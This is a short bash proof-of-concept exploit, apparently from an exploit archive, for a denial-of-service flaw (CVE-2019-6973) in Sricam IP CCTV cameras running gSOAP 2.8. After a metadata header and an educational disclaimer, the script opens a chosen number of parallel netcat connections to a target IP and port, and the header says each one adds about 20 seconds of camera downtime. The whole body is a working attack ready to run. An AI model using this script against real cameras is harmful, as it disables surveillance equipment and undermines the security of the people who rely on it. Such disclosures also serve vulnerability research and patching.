Sricam gSOAP 2.8 - Denial of Service

#!/bin/bash

#######################################################################################
#
#     Exploit Title: Sricam gSOAP 2.8 - Denial of Service
#              Date: 25/01/2019           
#     Vendor Status: Informed (24/10/2018)
#            CVE ID: CVE-2019-6973
#    Exploit Author: Andrew Watson
#           Contact: https://keybase.io/bitfu
#  Software Version: Sricam gSOAP 2.8
#   Vendor Homepage: http://www.sricam.com/
#         Tested on: Sricam IP CCTV Camera running gSOAP 2.8 on TCP/5000
#       PoC Details: Sricam IP CCTV Camera's are vulnerable to denial of service,
#                    exploitable by sending multiple incomplete requests.
#        References: https://github.com/bitfu/sricam-gsoap2.8-dos-exploit
#
#        DISCLAIMER: This proof of concept is provided for educational purposes only!
#
#######################################################################################


if [ -z "$3" ]; then
	echo "#############################################################################"
	echo -e "[*] Sricam gSOAP 2.8 Denial of Service exploit by bitfu"
	echo -e "\n[*] Usage: $0 <IP_Address> <Port> <#_DoS_Payloads>"
	echo "[*] Example: $0 127.0.0.1 5000 10"
	echo -e "\n[!] Each DoS payload sent adds another 20 seconds downtime.\n"
	exit 0
fi

time=$(expr $3 \* 20)
echo "[*] Sricam gSOAP 2.8 Denial of Service exploit by bitfu"
echo -e "\n[+] Sending $3 DoS payloads..."
echo "[+] Expected downtime: $time seconds"
for dos in $(seq 1 $3); do
netcat $1 $2 &
done
echo -e "\n[!] $dos DoS payloads sent to: $1:$2"
echo